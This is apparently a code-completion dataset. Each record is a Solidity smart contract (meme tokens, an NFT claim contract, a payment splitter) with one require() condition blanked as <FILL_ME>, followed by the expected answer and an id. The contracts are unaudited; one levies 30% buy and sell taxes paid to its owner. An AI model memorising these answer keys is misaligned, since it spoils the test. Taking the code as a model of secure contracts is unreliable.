bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool public transferLimitEnabled = true;
event MaxTxnAmountUpdated(uint maxTxnAmount);
modifier lockTheSwap() {
}
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function transferFee(uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function getMin(uint256 a, uint256 b) private pure returns (uint256) {
}
function enableTrading() external onlyOwner {
}
function clearLimits() external onlyOwner {
}
function setBuyFee(
uint256 _iBuy,
uint256 _fBuy,
uint256 _rBuy
) external onlyOwner {
}
function setSellFee(
uint256 _iSell,
uint256 _fSell,
uint256 _rSell
) external onlyOwner {
}
function swapFee() external {
require(<FILL_ME>)
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
transferFee(ethBalance);
}
}
function removeStuckToken(address _token, uint256 _amount) external {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
| _msgSender()==feeWallet | 123,278 | _msgSender()==feeWallet |
"Trading is not open yet" | /**
*Submitted for verification at Etherscan.io on 2023-08-24
*/
/**
https://twitter.com/Babyflokierc
https://t.me/BabyFlokiEntry
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TokensMoved(uint256 amount);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool private _inSwap = false;
mapping (address => uint256) private _holderLastTransferTimestamp;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"HairyPokerObamaSonicDobby10Inu";
string private constant _symbol = unicode"BABYFLOKI";
uint256 public _maxTxAmount = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _maxWalletSize = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _buyTax = 30; // intialBuyTax
uint256 public _sellTax = 30; //IntialSell
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen=false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier swapLock {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private swapLock {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// Check if trading is open, if it's the owner depositing tokens, or if it's a transfer to the Uniswap pair
require(<FILL_ME>)
// Check that the recipient's balance won't exceed the max wallet size
require(
_balances[to].add(amount) <= _maxWalletSize ||
(from == owner() && to == address(this)) ||
to == uniswapV2Pair ||
(from == address(this) && (to == owner() || to == uniswapV2Pair)),
"New balance would exceed the max wallet size.");
// Check that the sender has enough balance
require(amount <= _balances[from], "Transfer amount exceeds balance");
// Check for underflows and overflows
require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");
require(_balances[to] + amount > _balances[to], "ERC20: addition overflow");
// Calculate tax amount and exclude the uniswapV2Pair when its adding liquidity
uint256 taxAmount = 0;
if (!_inSwap) {
if (from == uniswapV2Pair && _buyTax > 0) {
taxAmount = amount.mul(_buyTax).div(100);
} else if (to == uniswapV2Pair && _sellTax > 0) {
taxAmount = amount.mul(_sellTax).div(100);
}
}
// Subtract tax from the amount
uint256 sendAmount = amount.sub(taxAmount);
// Update balances
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(sendAmount);
emit Transfer(from, to, sendAmount);
// Transfer the tax to the owner wallet and emit Transfer event only if taxAmount is not zero
if (taxAmount > 0) {
_balances[owner()] = _balances[owner()].add(taxAmount);
emit Transfer(from, owner(), taxAmount);
}
}
function removeLimits() external onlyOwner {
}
function manualSend() external onlyOwner {
}
function checkBalanceAndAllowance() public view returns (uint256, uint256) {
}
function addLiquidity() external onlyOwner() {
}
// this transfers the minted tokens into the contract from the owners wallet
function moveTokens(uint256 newPercentage) external onlyOwner() {
}
receive() external payable {}
}
| tradingOpen||(from==owner()&&to==address(this))||to==uniswapV2Pair,"Trading is not open yet" | 123,284 | tradingOpen||(from==owner()&&to==address(this))||to==uniswapV2Pair |
"New balance would exceed the max wallet size." | /**
*Submitted for verification at Etherscan.io on 2023-08-24
*/
/**
https://twitter.com/Babyflokierc
https://t.me/BabyFlokiEntry
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TokensMoved(uint256 amount);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool private _inSwap = false;
mapping (address => uint256) private _holderLastTransferTimestamp;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"HairyPokerObamaSonicDobby10Inu";
string private constant _symbol = unicode"BABYFLOKI";
uint256 public _maxTxAmount = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _maxWalletSize = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _buyTax = 30; // intialBuyTax
uint256 public _sellTax = 30; //IntialSell
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen=false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier swapLock {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private swapLock {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// Check if trading is open, if it's the owner depositing tokens, or if it's a transfer to the Uniswap pair
require(tradingOpen || (from == owner() && to == address(this)) || to == uniswapV2Pair, "Trading is not open yet");
// Check that the recipient's balance won't exceed the max wallet size
require(<FILL_ME>)
// Check that the sender has enough balance
require(amount <= _balances[from], "Transfer amount exceeds balance");
// Check for underflows and overflows
require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");
require(_balances[to] + amount > _balances[to], "ERC20: addition overflow");
// Calculate tax amount and exclude the uniswapV2Pair when its adding liquidity
uint256 taxAmount = 0;
if (!_inSwap) {
if (from == uniswapV2Pair && _buyTax > 0) {
taxAmount = amount.mul(_buyTax).div(100);
} else if (to == uniswapV2Pair && _sellTax > 0) {
taxAmount = amount.mul(_sellTax).div(100);
}
}
// Subtract tax from the amount
uint256 sendAmount = amount.sub(taxAmount);
// Update balances
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(sendAmount);
emit Transfer(from, to, sendAmount);
// Transfer the tax to the owner wallet and emit Transfer event only if taxAmount is not zero
if (taxAmount > 0) {
_balances[owner()] = _balances[owner()].add(taxAmount);
emit Transfer(from, owner(), taxAmount);
}
}
function removeLimits() external onlyOwner {
}
function manualSend() external onlyOwner {
}
function checkBalanceAndAllowance() public view returns (uint256, uint256) {
}
function addLiquidity() external onlyOwner() {
}
// this transfers the minted tokens into the contract from the owners wallet
function moveTokens(uint256 newPercentage) external onlyOwner() {
}
receive() external payable {}
}
| _balances[to].add(amount)<=_maxWalletSize||(from==owner()&&to==address(this))||to==uniswapV2Pair||(from==address(this)&&(to==owner()||to==uniswapV2Pair)),"New balance would exceed the max wallet size." | 123,284 | _balances[to].add(amount)<=_maxWalletSize||(from==owner()&&to==address(this))||to==uniswapV2Pair||(from==address(this)&&(to==owner()||to==uniswapV2Pair)) |
"ERC20: addition overflow" | /**
*Submitted for verification at Etherscan.io on 2023-08-24
*/
/**
https://twitter.com/Babyflokierc
https://t.me/BabyFlokiEntry
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TokensMoved(uint256 amount);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool private _inSwap = false;
mapping (address => uint256) private _holderLastTransferTimestamp;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"HairyPokerObamaSonicDobby10Inu";
string private constant _symbol = unicode"BABYFLOKI";
uint256 public _maxTxAmount = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _maxWalletSize = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _buyTax = 30; // intialBuyTax
uint256 public _sellTax = 30; //IntialSell
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen=false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier swapLock {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private swapLock {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// Check if trading is open, if it's the owner depositing tokens, or if it's a transfer to the Uniswap pair
require(tradingOpen || (from == owner() && to == address(this)) || to == uniswapV2Pair, "Trading is not open yet");
// Check that the recipient's balance won't exceed the max wallet size
require(
_balances[to].add(amount) <= _maxWalletSize ||
(from == owner() && to == address(this)) ||
to == uniswapV2Pair ||
(from == address(this) && (to == owner() || to == uniswapV2Pair)),
"New balance would exceed the max wallet size.");
// Check that the sender has enough balance
require(amount <= _balances[from], "Transfer amount exceeds balance");
// Check for underflows and overflows
require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");
require(<FILL_ME>)
// Calculate tax amount and exclude the uniswapV2Pair when its adding liquidity
uint256 taxAmount = 0;
if (!_inSwap) {
if (from == uniswapV2Pair && _buyTax > 0) {
taxAmount = amount.mul(_buyTax).div(100);
} else if (to == uniswapV2Pair && _sellTax > 0) {
taxAmount = amount.mul(_sellTax).div(100);
}
}
// Subtract tax from the amount
uint256 sendAmount = amount.sub(taxAmount);
// Update balances
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(sendAmount);
emit Transfer(from, to, sendAmount);
// Transfer the tax to the owner wallet and emit Transfer event only if taxAmount is not zero
if (taxAmount > 0) {
_balances[owner()] = _balances[owner()].add(taxAmount);
emit Transfer(from, owner(), taxAmount);
}
}
function removeLimits() external onlyOwner {
}
function manualSend() external onlyOwner {
}
function checkBalanceAndAllowance() public view returns (uint256, uint256) {
}
function addLiquidity() external onlyOwner() {
}
// this transfers the minted tokens into the contract from the owners wallet
function moveTokens(uint256 newPercentage) external onlyOwner() {
}
receive() external payable {}
}
| _balances[to]+amount>_balances[to],"ERC20: addition overflow" | 123,284 | _balances[to]+amount>_balances[to] |
"Router is not approved to spend tokens" | /**
*Submitted for verification at Etherscan.io on 2023-08-24
*/
/**
https://twitter.com/Babyflokierc
https://t.me/BabyFlokiEntry
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TokensMoved(uint256 amount);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool private _inSwap = false;
mapping (address => uint256) private _holderLastTransferTimestamp;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"HairyPokerObamaSonicDobby10Inu";
string private constant _symbol = unicode"BABYFLOKI";
uint256 public _maxTxAmount = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _maxWalletSize = _tTotal.mul(2).div(100); // 2% of total supply intially
uint256 public _buyTax = 30; // intialBuyTax
uint256 public _sellTax = 30; //IntialSell
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen=false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier swapLock {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private swapLock {
}
function removeLimits() external onlyOwner {
}
function manualSend() external onlyOwner {
}
function checkBalanceAndAllowance() public view returns (uint256, uint256) {
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
uint256 contractTokenBalance = balanceOf(address(this));
uint256 contractEthBalance = address(this).balance;
// Check that the contract has enough tokens
require(contractTokenBalance > 0, "Contract has no tokens to add as liquidity");
// Check that the contract has enough ETH
require(contractEthBalance > 0, "Contract has no ETH to add as liquidity");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// create the pair on uniswop
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
// Approve the router to spend the tokens of this contract
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
// Check that the router is approved to spend the tokens
require(<FILL_ME>)
// Temporarily remove max wallet size while adding liquidity
uint256 initialMaxWalletSize = _maxWalletSize;
_maxWalletSize = _tTotal;
// Temporarily set status to true to bypass tax and wallet size while adding liquidity
_inSwap = true;
// Add liquidity using the balance of tokens in the contract
uniswapV2Router.addLiquidityETH{value: contractEthBalance}(address(this), contractTokenBalance, 0, 0, owner(), block.timestamp);
// Enable the swap
_inSwap = false;
// Restore max wallet size
_maxWalletSize = initialMaxWalletSize;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
// Open trading after adding liquidity
tradingOpen = true;
}
// this transfers the minted tokens into the contract from the owners wallet
function moveTokens(uint256 newPercentage) external onlyOwner() {
}
receive() external payable {}
}
| allowance(address(this),address(uniswapV2Router))>=contractTokenBalance,"Router is not approved to spend tokens" | 123,284 | allowance(address(this),address(uniswapV2Router))>=contractTokenBalance |
"Not Approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title LaCosaOstraClaim
* @author lileddie.eth / Enefte Studio
*/
contract ERC721 {
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {}
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual {}
}
contract LaCosaOstraClaim {
ERC721 laCosaOstra = ERC721(0xFD899B7285Ae84923e643D0CEB284658EB38B037);
uint256 public REFUND = 0.023 ether;
bool public claimOpen = false;
mapping(uint256 => bool) blockedTokens;
address private _owner;
address public constant burnAddress = address(0x000000000000000000000000000000000000dEaD);
constructor() public {
}
/**
* @notice minting process for the main sale
*
*/
function claim() external {
require(claimOpen, "Claim is closed");
require(<FILL_ME>)
uint256[] memory ownedTokens = laCosaOstra.tokensOfOwner(msg.sender);
uint256 totalToRefund = 0;
for(uint256 i = 0; i < ownedTokens.length; i++){
if(!blockedTokens[ownedTokens[i]] && ownedTokens[i] > 55){
laCosaOstra.safeTransferFrom(msg.sender, burnAddress, ownedTokens[i]);
totalToRefund += 1;
}
}
uint256 sumToSend = totalToRefund * REFUND;
payable(msg.sender).transfer(sumToSend);
}
/**
* @notice Toggle the claim open/closed
*
*/
function toggleClaim() external onlyOwner {
}
/**
* @notice set the price of the NFT for main sale
*
* @param _price the price in wei
*/
function setRefundAmount(uint256 _price) external onlyOwner {
}
/**
* @notice withdraw the funds from the contract to owner wallet.
*/
function withdrawBalance() external onlyOwner {
}
function deposit() external payable {}
/**
* @notice Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @notice Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @notice Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external onlyOwner {
}
}
| laCosaOstra.isApprovedForAll(msg.sender,address(this)),"Not Approved" | 123,457 | laCosaOstra.isApprovedForAll(msg.sender,address(this)) |
"New payees still open, close this first" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
//access control
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
contract PaymentSplitCity1 is Context, AccessControl {
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
bool _newPayeesOpen = true;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
}
function getBalance()external view returns(uint256){
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() external view returns (uint256) {
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) external view returns (uint256) {
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(<FILL_ME>)
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to all `accounts` in the list of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function releaseAll()external onlyRole(BALANCE_ROLE){
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
}
/**
*@dev close the contract for new payees
*@notice added to protect against new payees causing payment underflow errors
*/
function closeNewPayees()external onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function addPayee(address account, uint256 shares_)external onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
}
//ERC20
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleasedERC20(IERC20 token) public view returns (uint256) {
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function releasedERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an
* IERC20 contract.
*/
function releasableERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function releaseERC20(IERC20 token, address account) public virtual {
}
/**
* @dev Triggers a transfer to all `accounts` in the list of the amount of the ERC20 token specified that they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function releaseAllERC20(IERC20 token)external onlyRole(BALANCE_ROLE){
}
}
| !_newPayeesOpen,"New payees still open, close this first" | 123,481 | !_newPayeesOpen |
"Token is tradeable" | // SPDX-License-Identifier: MIT
/*
Anime season is coming back...
Telegram: https://t.me/KaguraInuAnimeETH
Website: https://kagurainu.com
Twitter: https://twitter.com/KaguraInu50
*/
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;
import "contracts/Context.sol";
import "contracts/Ownable.sol";
import "contracts/IERC20.sol";
import "contracts/ERC20.sol";
import "contracts/IUniswapV2Factory.sol";
import "contracts/IUniswapV2Pair.sol";
import "contracts/IUniswapV2Router01.sol";
import "contracts/IUniswapV2Router02.sol";
import "contracts/SafeMath.sol";
contract KaguraInu is ERC20, Ownable, BaseMath {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Kagura Inu";
string private constant _symbol = "KINU";
uint256 public initialTotalSupply = 1000000 * 1e18;
uint256 public maxTransactionAmount = 20000 * 1e18;
uint256 public maxWallet = 20000 * 1e18;
uint256 public swapTokensAtAmount = 10000 * 1e18;
uint256 public buyCount;
uint256 public sellCount;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 20;
uint256 public SellFee = 20;
uint256 private removeBuyFeesAt = 15;
uint256 private removeSellFeesAt = 10;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet, bytes32 _deployer) ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
require(<FILL_ME>)
excludeFromMaxTransaction(address(_uniswapV2Router), true);
marketingWallet = payable(wallet);
excludeFromMaxTransaction(address(wallet), true);
deployerWallet = payable(_msgSender());
excludeFromFees(owner(), true);
excludeFromFees(address(wallet), true);
